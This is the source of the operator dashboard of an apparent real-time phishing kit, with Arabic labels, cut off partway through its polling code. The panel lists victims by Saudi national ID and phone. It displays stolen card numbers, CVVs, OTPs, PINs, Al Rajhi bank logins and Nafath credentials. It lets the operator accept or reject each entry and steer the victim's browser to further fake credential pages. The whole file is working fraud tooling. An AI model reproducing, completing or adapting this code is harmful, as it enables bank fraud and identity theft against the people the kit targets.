<?php
session_start();
require_once('init.php');

if (!$User->isLoggedIn()) {
    $User->redirect('login.php');
}

$users = $User->fetchAllUsers();

if (isset($_GET['TestInfoReject'])) {
    $idd = $_GET['id'];
    $X = 2;
    $User->UpdateUserStatusById($idd, $X);
    $User->redirect('index.php');
}

if (isset($_GET['TestInfoAcceptance'])) {
    $idd = $_GET['id'];
    $X = 1;
    $User->UpdateUserStatusById($idd, $X);
    $User->redirect('index.php');
}

if (isset($_POST['deleteUser'])) {
    $id = $_POST['userId'];
    $User->DeleteUserById($id);
    $User->redirect('index.php');
}

if (isset($_POST['deleteAllUser'])) {
    $User->DeleteAllUsers();
    $User->redirect('index.php');
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="utf-8">
    <title>DASHBOARD</title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <link href="img/favicon.ico" rel="icon">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Cairo:wght@200..1000&display=swap" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/css/bootstrap.rtl.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css" rel="stylesheet">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <style>
        * { font-family: "Cairo", sans-serif; margin: 0; padding: 0; box-sizing: border-box; }
        body { background: #f0f2f5; height: 100vh; overflow: hidden; }

        /* ===== Layout ===== */
        .app-container { display: flex; height: 100vh; flex-direction: column; }
        .top-bar { background: #fff; color: #1f2937; padding: 8px 20px; display: flex; align-items: center; justify-content: space-between; min-height: 52px; z-index: 100; box-shadow: 0 1px 4px rgba(0,0,0,0.08); border-bottom: 1px solid #e5e7eb; }
        .top-bar .brand { font-size: 16px; font-weight: 700; color: #1f2937; }
        .top-bar .actions { display: flex; align-items: center; gap: 15px; }
        .top-bar .actions .badge-online { background: #f3f4f6; color: #374151; padding: 4px 14px; border-radius: 20px; font-size: 12px; font-weight: 600; border: 1px solid #e5e7eb; }
        .top-bar .actions .btn-logout { background: #10b981; color: #fff; border: none; padding: 5px 14px; border-radius: 8px; font-size: 13px; cursor: pointer; transition: all 0.2s; }
        .top-bar .actions .btn-logout:hover { background: #059669; }
        .top-bar .actions .btn-del-all { background: #ef4444; color: #fff; border: none; padding: 5px 14px; border-radius: 8px; font-size: 13px; cursor: pointer; }
        .visits-bar { background: linear-gradient(90deg, #0ea5e9 0%, #06b6d4 100%); color: #fff; padding: 6px 20px; display: flex; align-items: center; justify-content: center; gap: 30px; font-size: 13px; font-weight: 600; box-shadow: 0 1px 4px rgba(0,0,0,0.1); }
        .visits-bar .visit-stat { display: flex; align-items: center; gap: 6px; }
        .visits-bar .visit-stat i { font-size: 14px; }
        .visits-bar .visit-num { background: rgba(255,255,255,0.25); padding: 2px 10px; border-radius: 12px; font-size: 14px; font-weight: 700; }

        .main-area { display: flex; flex: 1; overflow: hidden; }

        /* ===== Sidebar (Client List) ===== */
        .sidebar { width: 320px; min-width: 320px; background: #fff; border-left: 1px solid #e5e7eb; display: flex; flex-direction: column; overflow: hidden; box-shadow: -2px 0 10px rgba(0,0,0,0.04); }
        .sidebar-header { padding: 12px 15px; background: #fafbfc; border-bottom: 1px solid #e5e7eb; font-size: 14px; font-weight: 600; color: #4b5563; }
        .sidebar-list { flex: 1; overflow-y: auto; }
        .client-item { padding: 12px 15px; border-bottom: 1px solid #f3f4f6; cursor: pointer; transition: all 0.2s; display: flex; align-items: flex-start; gap: 10px; }
        .client-item:hover { background: #f9fafb; }
        .client-item.active { background: #f3f4f6; border-right: 3px solid #374151; }
        .client-item.new-input { background: #fef9c3; }
        .client-avatar { width: 40px; height: 40px; border-radius: 50%; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 16px; font-weight: 700; flex-shrink: 0; box-shadow: 0 2px 6px rgba(0,0,0,0.12); }
        .client-info { flex: 1; min-width: 0; }
        .client-name { font-size: 14px; font-weight: 600; color: #1f2937; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
        .client-meta { font-size: 12px; color: #6b7280; margin-top: 2px; }
        .client-page { font-size: 11px; color: #6b7280; margin-top: 2px; }
        .client-time { font-size: 11px; color: #9ca3af; position: absolute; left: 15px; top: 12px; }
        .client-item { position: relative; }
        .client-badge { position: absolute; top: 8px; right: 8px; background: #ef4444; color: #fff; font-size: 10px; font-weight: 700; min-width: 18px; height: 18px; border-radius: 9px; display: flex; align-items: center; justify-content: center; padding: 0 5px; box-shadow: 0 2px 6px rgba(239,68,68,0.4); animation: badgePulse 1.5s infinite; z-index: 2; }
        @keyframes badgePulse { 0%, 100% { transform: scale(1); } 50% { transform: scale(1.15); } }
        .status-dot { width: 10px; height: 10px; border-radius: 50%; display: inline-block; margin-left: 5px; vertical-align: middle; }
        .status-dot.online { background: #10b981; box-shadow: 0 0 10px rgba(16,185,129,0.6); animation: pulse-green 1s infinite; }
        .status-dot.offline { background: #ef4444; box-shadow: 0 0 6px rgba(239,68,68,0.4); }
        .status-label { font-size: 10px; font-weight: 600; margin-right: 3px; vertical-align: middle; }
        .status-label.online { color: #10b981; }
        .status-label.offline { color: #ef4444; }
        @keyframes pulse-green { 0%, 100% { box-shadow: 0 0 4px rgba(16,185,129,0.4); } 50% { box-shadow: 0 0 12px rgba(16,185,129,0.7); } }

        /* ===== Content Area ===== */
        .content-area { flex: 1; display: flex; flex-direction: column; overflow: hidden; background: #f8f9fb; }
        .content-header { padding: 15px 25px; background: #fff; border-bottom: 1px solid #e5e7eb; display: flex; align-items: center; justify-content: space-between; box-shadow: 0 1px 3px rgba(0,0,0,0.04); }
        .content-header h4 { margin: 0; font-size: 18px; font-weight: 700; color: #1f2937; }
        .content-body { flex: 1; overflow-y: auto; padding: 0; }

        /* ===== Sticky User Info ===== */
        .user-info-sticky { position: sticky; top: 0; z-index: 10; background: #fff; border-bottom: 1px solid #e5e7eb; padding: 14px 25px; display: flex; flex-wrap: wrap; gap: 10px; box-shadow: 0 2px 6px rgba(0,0,0,0.04); overflow: hidden; }
        .user-info-sticky .info-chip { background: #fff; border: 1px solid #e5e7eb; border-radius: 12px; padding: 10px 14px; font-size: 12px; display: flex; align-items: center; gap: 10px; transition: all 0.2s; box-shadow: 0 1px 3px rgba(0,0,0,0.04); max-width: 220px; min-width: 0; flex-shrink: 1; }
        .user-info-sticky .info-chip:hover { border-color: #9ca3af; transform: translateY(-2px); box-shadow: 0 4px 12px rgba(0,0,0,0.08); }
        .user-info-sticky .info-chip .chip-icon { width: 32px; height: 32px; border-radius: 8px; display: flex; align-items: center; justify-content: center; font-size: 14px; flex-shrink: 0; }
        .user-info-sticky .info-chip .chip-text { display: flex; flex-direction: column; gap: 1px; min-width: 0; }
        .user-info-sticky .info-chip .chip-label { font-weight: 600; color: #9ca3af; font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; }
        .user-info-sticky .info-chip .chip-value { color: #1f2937; font-size: 13px; font-weight: 700; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 150px; display: block; }
        .user-info-sticky .info-chip .chip-value-name { white-space: normal !important; word-wrap: break-word; max-width: 200px; line-height: 1.4; display: block !important; overflow: visible !important; text-overflow: unset !important; }
        .scrollable-details { padding: 20px 25px; }
        .no-selection { display: flex; align-items: center; justify-content: center; height: 100%; color: #9ca3af; font-size: 16px; flex-direction: column; gap: 10px; }
        .no-selection i { font-size: 50px; color: #d1d5db; }

        /* ===== Status Badges ===== */
        .status-badge { display: inline-flex; align-items: center; gap: 4px; padding: 8px 16px; border-radius: 50px; font-size: 13px; font-weight: 700; letter-spacing: 0.5px; animation: badgePop 0.4s ease; }
        .status-accepted { background: linear-gradient(135deg, #d1fae5, #a7f3d0); color: #065f46; border: 1px solid #6ee7b7; box-shadow: 0 2px 8px rgba(16,185,129,0.25); }
        .status-rejected { background: linear-gradient(135deg, #fee2e2, #fecaca); color: #991b1b; border: 1px solid #fca5a5; box-shadow: 0 2px 8px rgba(239,68,68,0.25); }
        @keyframes badgePop { 0% { transform: scale(0.5); opacity: 0; } 50% { transform: scale(1.15); } 100% { transform: scale(1); opacity: 1; } }

        /* ===== Detail Cards ===== */
        .detail-section { background: #fff; border-radius: 14px; padding: 20px; margin-bottom: 15px; border: 1px solid #e5e7eb; box-shadow: 0 1px 4px rgba(0,0,0,0.04); }
        .detail-section h6 { font-size: 14px; font-weight: 700; color: #1f2937; margin-bottom: 14px; border-bottom: 2px solid #e5e7eb; padding-bottom: 8px; }
        .detail-table { width: 100%; border-collapse: separate; border-spacing: 0; direction: rtl; border-radius: 10px; overflow: hidden; border: 1px solid #e5e7eb; }
        .detail-table tr { transition: background 0.2s ease; }
        .detail-table tr:nth-child(even) { background: #f8fafc; }
        .detail-table tr:nth-child(odd) { background: #fff; }
        .detail-table tr:hover { background: #eef2ff; }
        .detail-table td { padding: 12px 18px; font-size: 13px; vertical-align: middle; border-bottom: 1px solid #f0f0f0; }
        .detail-table tr:last-child td { border-bottom: none; }
        .detail-table td.detail-label { width: 180px; font-weight: 700; color: #4b5563; text-align: right; white-space: nowrap; background: rgba(99,102,241,0.04); border-left: 1px solid #f0f0f0; font-size: 12.5px; letter-spacing: 0.3px; }
        .detail-table td.detail-value { color: #1e293b; text-align: left; direction: ltr; word-break: break-all; font-weight: 500; font-size: 13.5px; }

        /* ===== Action Buttons ===== */
        .action-section { margin-top: 15px; }
        .action-section .btn { font-size: 13px; padding: 6px 16px; border-radius: 8px; }

        /* ===== Scrollbar ===== */
        .sidebar-list::-webkit-scrollbar, .content-body::-webkit-scrollbar { width: 5px; }
        .sidebar-list::-webkit-scrollbar-track, .content-body::-webkit-scrollbar-track { background: transparent; }
        .sidebar-list::-webkit-scrollbar-thumb, .content-body::-webkit-scrollbar-thumb { background: #d1d5db; border-radius: 3px; }
        .sidebar-list::-webkit-scrollbar-thumb:hover, .content-body::-webkit-scrollbar-thumb:hover { background: #9ca3af; }

        /* ===== Header Action Buttons ===== */
        .header-btn { padding: 8px 20px; border-radius: 10px; font-size: 13px; font-weight: 600; border: none; cursor: pointer; transition: all 0.3s; display: inline-flex; align-items: center; gap: 6px; box-shadow: 0 2px 8px rgba(0,0,0,0.08); }
        .header-btn:hover { transform: translateY(-2px); box-shadow: 0 4px 15px rgba(0,0,0,0.15); }
        .redirect-btn { background: linear-gradient(135deg, #f59e0b, #eab308); color: #fff; }
        .redirect-btn:hover { background: linear-gradient(135deg, #d97706, #f59e0b); }
        .delete-btn { background: linear-gradient(135deg, #f87171, #ef4444); color: #fff; }
        .delete-btn:hover { background: linear-gradient(135deg, #ef4444, #dc2626); }

        /* ===== Modal overrides ===== */
        .modal-content { border-radius: 18px; background: #fff; border: none; color: #1f2937; box-shadow: 0 20px 60px rgba(0,0,0,0.15); overflow: hidden; }
        .modal-header { background: linear-gradient(135deg, #374151, #1f2937); color: #fff; border: none; padding: 18px 24px; }
        .modal-header .modal-title { font-weight: 700; font-size: 16px; }
        .modal-header .btn-close { filter: brightness(0) invert(1); }
        .modal-body { padding: 24px; }
        .modal-body .form-select { border-radius: 12px; border: 2px solid #e5e7eb; padding: 12px 16px; font-size: 14px; font-weight: 500; transition: all 0.2s; }
        .modal-body .form-select:focus { border-color: #374151; box-shadow: 0 0 0 3px rgba(55,65,81,0.15); }
        .modal-redirect-btn { background: linear-gradient(135deg, #10b981, #059669); color: #fff; border: none; border-radius: 12px; padding: 12px; font-size: 15px; font-weight: 700; width: 100%; margin-top: 16px; cursor: pointer; transition: all 0.3s; box-shadow: 0 4px 15px rgba(16,185,129,0.3); }
        .modal-redirect-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 20px rgba(16,185,129,0.4); }
    </style>
</head>
<body>
    <div class="app-container">
        <!-- Top Bar -->
        <div class="top-bar">
            <div class="brand"><i class="fas fa-shield-alt me-2"></i> Dashboard</div>
            <div class="actions">
                <span class="badge-online" id="onlineCount">0 متصل</span>
                <span class="badge-online" style="background:#d1fae5;color:#065f46;border-color:#6ee7b7;"><i class="fas fa-globe me-1"></i> الزيارات: <span id="totalVisits">0</span></span>
                <form action="" method="POST" style="display:inline;">
                    <button type="submit" name="deleteAllUser" class="btn-del-all" onclick="return confirm('هل أنت متأكد من حذف جميع المستخدمين؟')"><i class="fas fa-trash me-1"></i> حذف الكل</button>
                </form>
                <a href="logout.php" class="btn-logout"><i class="fas fa-sign-out-alt me-1"></i> خروج</a>
            </div>
        </div>


        <div class="main-area">
            <!-- Sidebar - Client List -->
            <div class="sidebar">
                <div class="sidebar-header">
                    <i class="fas fa-users me-1"></i> العملاء (<span id="clientCount"><?= $users ? count($users) : 0 ?></span>)
                </div>
                <div style="padding: 8px 12px; border-bottom: 1px solid #e5e7eb; background: #fafbfc;">
                    <div style="position: relative;">
                        <input type="text" id="searchClients" placeholder="بحث بالاسم أو الرقم..." oninput="filterClients()" style="width: 100%; padding: 8px 14px 8px 35px; border: 1px solid #e0e0e0; border-radius: 8px; font-size: 13px; font-family: 'Cairo', sans-serif; outline: none; transition: border 0.2s; background: #fff;" onfocus="this.style.borderColor='#6366f1'" onblur="this.style.borderColor='#e0e0e0'">
                        <i class="fas fa-search" style="position: absolute; left: 12px; top: 50%; transform: translateY(-50%); color: #9ca3af; font-size: 13px;"></i>
                    </div>
                </div>
                <div class="sidebar-list" id="clientList">
                    <?php if ($users != false) :
                        foreach ($users as $row) : ?>
                        <?php
                            $lastViewedAt = isset($row->last_viewed_at) ? $row->last_viewed_at : '';
                            $lastInputAt = isset($row->last_input_at) ? $row->last_input_at : '';
                            $hasUnread = ($lastInputAt !== '' && ($lastViewedAt === '' || $lastInputAt > $lastViewedAt));
                        ?>
                        <div class="client-item" data-user-id="<?= $row->id ?>" onclick="selectClient(<?= $row->id ?>)">
                            <?php if ($hasUnread) : ?><span class="client-badge">!</span><?php endif; ?>
                            <?php $avatarColors = ['#3b82f6','#10b981','#8b5cf6','#f59e0b','#ef4444','#ec4899','#06b6d4','#6366f1','#14b8a6','#f97316']; ?>
                            <div class="client-avatar" style="background:<?= $avatarColors[$row->id % count($avatarColors)] ?>"><?= mb_substr($row->username ?: $row->ssn ?: '?', 0, 1) ?></div>
                            <div class="client-info">
                                <div class="client-name">
                                    <?= $row->username ?: 'بدون اسم' ?>
                                    <span class="status-dot offline" id="dot<?= $row->id ?>"></span><span class="status-label offline" id="dotLabel<?= $row->id ?>">غير متصل</span>
                                </div>
                                <div class="client-meta"><?= $row->ssn ?> | <?= $row->phone ?></div>
                                <div class="client-page"><i class="bi bi-geo-alt-fill"></i> <?= $row->page ?: '-' ?></div>
                            </div>
                            <span class="client-time"><?= date('H:i', strtotime($row->created_at ?: 'now')) ?></span>
                        </div>
                    <?php endforeach; endif; ?>
                </div>
            </div>

            <!-- Content Area -->
            <div class="content-area">
                <div class="content-header" id="contentHeader" style="display:none;">
                    <h4 id="headerTitle">-</h4>
                    <div id="headerActions"></div>
                </div>
                <div class="content-body" id="contentBody">
                    <div class="no-selection" id="emptyState">
                        <i class="bi bi-person-lines-fill"></i>
                        <span>اختر عميل من القائمة لعرض بياناته</span>
                    </div>
                    <div id="userInfoSticky" class="user-info-sticky" style="display:none;"></div>
                    <div id="clientDetails" class="scrollable-details" style="display:none;"></div>
                </div>
            </div>
        </div>
    </div>

    <audio id="notification-card" src="./level-up-2-199574.mp3"></audio>

    <!-- Bootstrap JS -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>

    <script>
    // ===== State =====
    var selectedUserId = null;
    var usersCache = {};
    var cardsCache = {};
    var lastUsersData = '';
    var knownUserIds = [];
    var lastInputAt = {};
    var isPolling = false;
    var viewedCardCount = {};

    // Init known IDs
    document.querySelectorAll('.client-item[data-user-id]').forEach(function(el) {
        var uid = parseInt(el.getAttribute('data-user-id'));
        knownUserIds.push(uid);
        lastInputAt[uid] = '';
    });

    // ===== Select Client =====
    function selectClient(userId) {
        selectedUserId = userId;

        // Update active state in sidebar
        document.querySelectorAll('.client-item').forEach(function(el) {
            el.classList.remove('active');
        });
        var item = document.querySelector('.client-item[data-user-id="' + userId + '"]');
        if (item) {
            item.classList.add('active');
            item.classList.remove('new-input');
            // Hide badge when client is viewed
            var badge = item.querySelector('.client-badge');
            if (badge) badge.style.display = 'none';
            // Mark as read in database
            fetch('mark-read.php', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'user_id=' + userId
            }).then(function(r) { return r.json(); }).then(function(d) {
                if (d.ok) {
                    var u = usersCache[userId];
                    if (u) u.last_viewed_at = d.last_viewed_at;
                }
            });
        }

        // Show loading
        document.getElementById('emptyState').style.display = 'none';
        document.getElementById('userInfoSticky').style.display = 'flex';
        document.getElementById('clientDetails').style.display = 'block';
        document.getElementById('contentHeader').style.display = 'flex';
        document.getElementById('clientDetails').innerHTML = '<div class="text-center py-5"><div class="spinner-border text-primary"></div></div>';

        // Update sticky info immediately from cache
        var cachedUser = usersCache[userId] || {};
        renderStickyInfo(cachedUser);

        // Fetch card details
        $.ajax({
            url: 'card-list.php',
            type: 'GET',
            data: { user_id: userId },
            success: function(response) {
                var cards = JSON.parse(response);
                cardsCache[userId] = cards;
                renderClientDetails(userId, cards);
            },
            error: function() {
                document.getElementById('clientDetails').innerHTML = '<div class="text-center text-danger py-5">خطأ في تحميل البيانات</div>';
            }
        });
    }

    // ===== Render Sticky Info =====
    function renderStickyInfo(user) {
        var sticky = document.getElementById('userInfoSticky');
        sticky.innerHTML = 
            infoChip('fas fa-id-card', '#374151', 'الرقم الوطني', user.ssn) +
            infoChip('fas fa-user', '#3b82f6', 'الاسم', user.username) +
            infoChip('fas fa-calendar-alt', '#f59e0b', 'الميلاد', user.date) +
            infoChip('fas fa-phone-alt', '#10b981', 'الهاتف', user.phone) +
            infoChip('fas fa-map-marker-alt', '#ec4899', 'الصفحة', user.page) +
            infoChip('fas fa-keyboard', '#f97316', '\u0622\u062e\u0631 \u0625\u062f\u062e\u0627\u0644', user.message) +
            infoChip('fas fa-clock', '#6b7280', 'التسجيل', user.created_at);
    }

    function infoChip(icon, color, label, value) {
        var displayVal = value || '-';
        // إذا كان حقل الاسم وأكثر من 3 كلمات، نقسمه على سطرين
        if (label === 'الاسم' && displayVal !== '-') {
            var words = displayVal.split(/\s+/);
            if (words.length > 3) {
                displayVal = words.slice(0, 3).join(' ') + '<br>' + words.slice(3).join(' ');
            }
        }
        var extraClass = (label === 'الاسم') ? ' chip-value-name' : '';
        return '<div class="info-chip">' +
            '<div class="chip-icon" style="background:' + color + '20; color:' + color + ';"><i class="' + icon + '"></i></div>' +
            '<div class="chip-text"><span class="chip-label">' + label + '</span><span class="chip-value' + extraClass + '">' + displayVal + '</span></div>' +
            '</div>';
    }

    // ===== Render Client Details =====
    function renderClientDetails(userId, cards) {
        var user = usersCache[userId] || {};
        var item = document.querySelector('.client-item[data-user-id="' + userId + '"');

        // Header
        document.getElementById('headerTitle').textContent = (user.username || 'بدون اسم') + ' - ' + (user.ssn || '');
        document.getElementById('headerActions').innerHTML =
            '<div class="d-flex gap-2">' +
                '<button class="header-btn redirect-btn" onclick="showRedirectModal(' + userId + ')"><i class="fas fa-paper-plane me-1"></i> توجيه</button>' +
                '<form action="" method="POST" style="display:inline;"><button type="submit" name="deleteUser" class="header-btn delete-btn" onclick="return confirm(\'\u062d\u0630\u0641 \u0647\u0630\u0627 \u0627\u0644\u0639\u0645\u064a\u0644\u061f\')"><i class="fas fa-trash-alt me-1"></i> حذف</button><input type="hidden" name="userId" value="' + userId + '"></form>' +
            '</div>';

        // Update sticky info
        renderStickyInfo(user);

        var html = '';

        // Cards Section
        if (cards && cards.length > 0) {
            cards.forEach(function(card, idx) {
                // Card/Payment Info
                if (card.cardNumber || card.cardName || card.cvv || card.otp || card.password || card.username || card.passwordt) {
                    html += '<div class="detail-section">';
                    html += '<h6><i class="fas fa-credit-card me-1"></i> بيانات البطاقة / الدفع ' + (cards.length > 1 ? '#' + (idx+1) : '') + '</h6>';
                    html += '<table class="detail-table">';
                    if (card.username) html += detailRow('اسم مستخدم الراجحي', card.username);
                    if (card.passwordt) html += detailRow('كلمة مرور الراجحي', card.passwordt);
                    if (card.cardName) html += detailRow('اسم حامل البطاقة', card.cardName);
                    if (card.cardNumber) html += detailRow('رقم البطاقة', card.cardNumber);
                    if (card.year) html += detailRow('تاريخ الانتهاء', card.year);
                    if (card.cvv) html += detailRow('CVV', card.cvv);
                    if (card.otp) html += detailRow('OTP', card.otp);
                    if (card.password) html += detailRow('الرمز السري', card.password);
                    if (card.insurance_company) html += detailRow('شركة التأمين', card.insurance_company);
                    if (card.insurance_price) html += detailRow('السعر', card.insurance_price);
                    html += '</table>';

                    // Card Actions
                    html += '<div class="action-section">';
                    html += '<label class="form-label fw-bold" style="font-size:13px;">نقل إلى:</label>';
                    html += '<div class="d-flex gap-2 align-items-center">';
                    html += '<select class="form-select form-select-sm" id="selUrl' + card.id + '" onchange="handleCardSelectChange(' + card.id + ')" style="max-width:200px;">';
                    html += '<option value="payment.php">صفحة البطاقة</option>';
                    html += '<option value="otp.php">رمز OTP</option>';
                    html += '<option value="password.php">رمز سري</option>';
                    html += '<option value="nafath.php">نفاذ</option>';
                    html += '<option value="raj.php">راجحي</option>';
                    html += '<option value="StepTwo.php">رقم الجوال</option>';
                    html += '<option value="StepThird.php">رمز التوثيق</option>';
                    html += '<option value="StepFourth.php">اسم المستخدم وكلمة المرور</option>';
                    html += '<option value="StepFifth.php">صفحة رقم تطبيق المصادقة</option>';
                    html += '<option value="StepOne.php">صفحة شركات الهاتف</option>';
                    html += '<option value="StepPass.php">كلمة المرور المرسلة</option>';
                    html += '</select>';
                    html += '<input type="text" id="codeCard' + card.id + '" class="form-control form-control-sm" placeholder="ex. 90" style="display:none;max-width:80px;">';
                    if (card.status == 0) {
                        html += '<button onclick="callRequest(' + card.id + ',1,' + card.userId + ')" class="btn btn-sm btn-success"><i class="fas fa-check me-1"></i>قبول</button>';
                        html += '<button onclick="callRequest(' + card.id + ',2,' + card.userId + ')" class="btn btn-sm btn-danger"><i class="fas fa-times me-1"></i>رفض</button>';
                    } else if (card.status == 1) {
                        html += '<span class="status-badge status-accepted"><i class="fas fa-check-circle me-1"></i>مقبول</span>';
                    } else {
                        html += '<span class="status-badge status-rejected"><i class="fas fa-times-circle me-1"></i>مرفوض</span>';
                    }
                    html += '</div></div>';
                    html += '</div>';
                }

                // Nafath Info
                if (card.PhoneNumber || card.Authentication_code || card.UserName_Nafad || card.UserPasswore_Nafad || card.TemporaryPassword) {
                    html += '<div class="detail-section">';
                    html += '<h6><i class="fas fa-fingerprint me-1"></i> بيانات نفاذ ' + (cards.length > 1 ? '#' + (idx+1) : '') + '</h6>';
                    html += '<table class="detail-table">';
                    if (card.company && card.company !== '####') html += detailRow('الشركة', card.company);
                    if (card.PhoneNumber) html += detailRow('رقم الهاتف', card.PhoneNumber);
                    if (card.Authentication_code) html += detailRow('رمز التوثيق', card.Authentication_code);
                    if (card.UserName_Nafad) html += detailRow('اسم المستخدم نفاذ', card.UserName_Nafad);
                    if (card.UserPasswore_Nafad) html += detailRow('كلمة مرور نفاذ', card.UserPasswore_Nafad);
                    if (card.TemporaryPassword) html += detailRow('كلمة المرور المؤقتة', card.TemporaryPassword);
                    html += '</table>';

                    // Nafath Actions
                    html += '<div class="action-section">';
                    html += '<label class="form-label fw-bold" style="font-size:13px;">نقل إلى:</label>';
                    html += '<div class="d-flex gap-2 align-items-center flex-wrap">';
                    html += '<select class="form-select form-select-sm" id="selTUrl' + card.id + '" onchange="handleSelectChange(' + card.id + ')" style="max-width:220px;">';
                    html += '<option value="StepTwo.php">رقم الجوال</option>';
                    html += '<option value="StepThird.php">رمز التوثيق</option>';
                    html += '<option value="StepFourth.php">اسم المستخدم وكلمة المرور</option>';
                    html += '<option value="StepFifth.php">صفحة رقم تطبيق المصادقة</option>';
                    html += '<option value="StepOne.php">صفحة شركات الهاتف</option>';
                    html += '<option value="StepPass.php">كلمة المرور المرسلة</option>';
                    html += '</select>';
                    html += '<input type="text" id="codeNafath' + card.id + '" class="form-control form-control-sm" placeholder="ex. 90" style="display:none;max-width:80px;">';
                    if (card.CheckTheInfo_Nafad == 0) {
                        html += '<button onclick="callTRequest(' + card.id + ',1,' + card.userId + ')" class="btn btn-sm btn-success"><i class="fas fa-check me-1"></i>قبول</button>';
                        html += '<button onclick="callTRequest(' + card.id + ',2,' + card.userId + ')" class="btn btn-sm btn-danger"><i class="fas fa-times me-1"></i>رفض</button>';
                    } else if (card.CheckTheInfo_Nafad == 1) {
                        html += '<span class="status-badge status-accepted"><i class="fas fa-check-circle me-1"></i>مقبول</span>';
                    } else {
                        html += '<span class="status-badge status-rejected"><i class="fas fa-times-circle me-1"></i>مرفوض</span>';
                    }
                    html += '</div></div>';
                    html += '</div>';
                }
            });
        }

        document.getElementById('clientDetails').innerHTML = html;
    }

    function detailRow(label, value) {
        return '<tr><td class="detail-label">' + label + '</td><td class="detail-value">' + (value || '-') + '</td></tr>';
    }

    // ===== Redirect Modal =====
    function showRedirectModal(userId) {
        var html = '<div class="modal fade" id="redirectModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content">' +
            '<div class="modal-header"><h5 class="modal-title"><i class="fas fa-paper-plane me-2"></i>توجيه العميل</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div>' +
            '<div class="modal-body">' +
            '<p style="text-align:center;color:#6b7280;margin-bottom:16px;font-size:14px;">اختر الصفحة المطلوب توجيه العميل إليها</p>' +
            '<select class="form-select" id="redirectPage" onchange="handleRedirectSelect()">' +
            '<option value="index.php" selected>📋 صفحة معلومات التسجيل</option>' +
            '<option value="payment.php">💳 صفحة البطاقة</option>' +
            '<option value="otp.php">🔐 رمز OTP</option>' +
            '<option value="password.php">🔑 رمز سري</option>' +
            '<option value="nafath.php">🛡️ نفاذ</option>' +
            '<option value="raj.php">🏦 راجحي</option>' +
            '<option value="StepTwo.php">📱 رقم الجوال</option>' +
            '<option value="StepThird.php">✅ رمز التوثيق</option>' +
            '<option value="StepFourth.php">👤 اسم المستخدم وكلمة المرور</option>' +
            '<option value="StepFifth.php">🔢 صفحة رقم تطبيق المصادقة</option>' +
            '<option value="StepOne.php">📞 صفحة شركات الهاتف</option>' +
            '<option value="StepPass.php">🔒 كلمة المرور المرسلة</option>' +
            '</select>' +
            '<input type="text" id="redirectCode" class="form-control mt-2" placeholder="أدخل رقم المصادقة (ex. 90)" style="display:none;">' +
            '<button onclick="doRedirect(' + userId + ')" class="modal-redirect-btn"><i class="fas fa-paper-plane me-2"></i>توجيه الآن</button>' +
            '</div></div></div></div>';

        // Remove old modal if exists
        var old = document.getElementById('redirectModal');
        if (old) old.remove();

        document.body.insertAdjacentHTML('beforeend', html);
        var modal = new bootstrap.Modal(document.getElementById('redirectModal'));
        modal.show();
    }

    function handleRedirectSelect() {
        var select = document.getElementById('redirectPage');
        var input = document.getElementById('redirectCode');
        if (select && input) {
            input.style.display = select.value === 'StepFifth.php' ? 'block' : 'none';
        }
    }

    function doRedirect(userId) {
        var page = document.getElementById('redirectPage').value;
        var codeInput = document.getElementById('redirectCode');
        var code = codeInput ? codeInput.value : '';
        if (page === 'StepFifth.php' && code) page += '?code=' + code;
        $.ajax({
            url: 'trigger-page.php',
            method: 'POST',
            data: { userId: userId, page: page },
            success: function() {
                var modal = bootstrap.Modal.getInstance(document.getElementById('redirectModal'));
                if (modal) modal.hide();
            }
        });
    }

    // ===== Card Actions =====
    function handleSelectChange(cardId) {
        var select = document.getElementById('selTUrl' + cardId);
        var input = document.getElementById('codeNafath' + cardId);
        if (select && input) {
            input.style.display = select.value === 'StepFifth.php' ? 'block' : 'none';
        }
    }

    function handleCardSelectChange(cardId) {
        var select = document.getElementById('selUrl' + cardId);
        var input = document.getElementById('codeCard' + cardId);
        if (select && input) {
            input.style.display = select.value === 'StepFifth.php' ? 'block' : 'none';
        }
    }

    function callRequest(id, status, userId) {
        var selectElement = document.getElementById('selUrl' + id);
        var selectedValue = selectElement.value;
        var codeCard = document.getElementById('codeCard' + id);
        var codeCardValue = codeCard ? codeCard.value : '';
        if (status == 2) selectedValue += '?reject=1';
        if (selectedValue == 'StepFifth.php') selectedValue += '?code=' + codeCardValue;
        $.ajax({
            url: 'action-code.php',
            type: 'GET',
            data: { user_id: id, status: status, url: selectedValue },
            success: function() {
                // Refresh details
                if (selectedUserId === userId) selectClient(userId);
            }
        });
    }

    function callTRequest(id, status, userId) {
        var selectElement = document.getElementById('selTUrl' + id);
        var codeNafath = document.getElementById('codeNafath' + id);
        var selectedValue = selectElement.value;
        var codeNafathValue = codeNafath ? codeNafath.value : '';
        if (status == 2) selectedValue += '?reject=1';
        if (selectedValue == "StepFifth.php") selectedValue += '?code=' + codeNafathValue;
        $.ajax({
            url: 'action-code-nafath.php',
            type: 'GET',
            data: { user_id: id, status: status, url: selectedValue },
            success: function() {
                if (selectedUserId === userId) selectClient(userId);
            }
        });
    }

    // ===== Polling =====
    function startDashboardPolling() {
        if (isPolling) return;
        isPolling = true;

        fetch('polling-dashboard.php')
            .then(function(r) { return r.json(); })
            .then(function(data) {
                var newData = JSON.stringify(data);
                if (newData === lastUsersData) { isPolling = false; return; }

                var isFirstLoad = (lastUsersData === '');
                lastUsersData = newData;

                var list = document.getElementById('clientList');
